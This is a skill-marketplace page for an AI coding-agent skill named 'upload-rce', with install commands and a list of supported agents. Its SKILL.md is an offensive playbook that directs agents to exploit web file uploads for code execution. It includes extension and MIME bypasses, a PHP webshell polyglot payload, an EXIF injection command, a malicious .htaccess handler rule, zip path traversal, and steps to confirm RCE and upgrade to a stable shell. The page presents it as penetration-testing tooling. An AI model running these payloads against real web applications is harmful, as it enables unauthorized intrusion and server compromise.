s0ld13rr/pentestcode/upload-rce
Claude Code and agent skill by s0ld13rr/pentestcode
- community
Checking that the SKILL.md file is still in the repository.
File-upload abuse to code execution for web apps. Use when the app accepts a file (avatar, document, image, import, attachment) and you can influence name/type/content, or find where uploads land. Triggers - multipart upload form, avatar/profile picture, import/attachment, "invalid file type", uploaded file URL, /uploads/ path.
Install
npx vskill@latest install s0ld13rr/pentestcode/upload-rceSKILL.md
The same SKILL.md was published earlier as lza6/armor-piercing-system-prompts/upload-rce.
File Upload → RCE
When this fires
Any upload sink (avatar, doc, image, CSV/XML import, attachment) where you control filename, content-type, or bytes — and there's a chance the upload dir is web-served or interpreted.
Detect
- Upload a benign file, find WHERE it lands (response URL, predictable
/uploads/<name>, guess via ffuf). - Probe the filter: try
.php,.phtml,.php5,.phar,.jsp,.aspx— note what's rejected and HOW (extension vs MIME vs magic-byte vs content-scan).
Decide — which bypass
- Extension blocklist →
.phtml/.php5/.phar/.pht; doubleshell.php.jpg; trailingshell.php%00.jpg(old); caseshell.PHP;.php.(Apache). - MIME check only → keep
.php, setContent-Type: image/png. - Magic-byte/content check → prepend
GIF89a;or valid image header, then PHP:GIF89a;<?php system($_GET['c']); ?>. Or embed in EXIF (exiftool -Comment='<?php ...?>' x.jpg). - Server config writable → upload
.htaccess(AddType application/x-httpd-php .jpg) then a.jpgwebshell. - SVG/XML upload → stored XSS or XXE (see web-xxe). Zip/import → path traversal (
../../) to write outside the upload dir.
Exploit → PROVE IMPACT
Proof required: id/whoami from the uploaded shell (RCE). Then upgrade to a stable shell / record_artifact; drop markers where the engagement requires.
Tooling
ffuf to locate the upload dir; exiftool for magic-byte polyglots; nuclei -tags fileupload. Feed dir-discovery to gobuster_parse.
False positives / pitfalls
- Upload succeeds but dir is non-executable (static/CDN) → find an interpreted path, or pivot to LFI-include of the uploaded file.
- Antivirus/content scan strips shells → try polyglot + less-common handler extension.
- Random-renamed filename → you still need the returned path; if unknown, brute or chain with LFI.
Security
- Security scanPassed, 90 of 100Pattern checks on the skill's files.
- Model reviewPassed
Quality evaluation
- Task evaluationNot runNo evaluation yet. Run one in Skill Studio.
Source
- SKILL.md in the repositoryCheckingskills/web/upload-rce/SKILL.md
Popularity
- 7-day trend score
- 0
Not refreshed yet.
Works with
Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.
- Claude Code
- Cursor
- GitHub Copilot
- Windsurf
- Codex
- Gemini CLI
- Cline
- Amp
- Roo Code
- Goose
- Continue
- Kilo Code
- Junie
- Trae
- OpenHands
- Qwen Code
- AI Agent
- Tabnine Chat
- Sourcegraph Cody
- Amazon Q
- Firebase Genkit
- Sweep
- Devin
- Phind
- Mentat
- Claude Desktop
- Aider
- GPT Pilot
- Plandex
- bolt.new
- v0
- Replit Agent
- Anse
- TypingMind
- BetterChatGPT
- LibreChat
- Warp AI
- Pieces
- Fig AI
Embed badge
[](https://verified-skill.com/skills/s0ld13rr/pentestcode/upload-rce)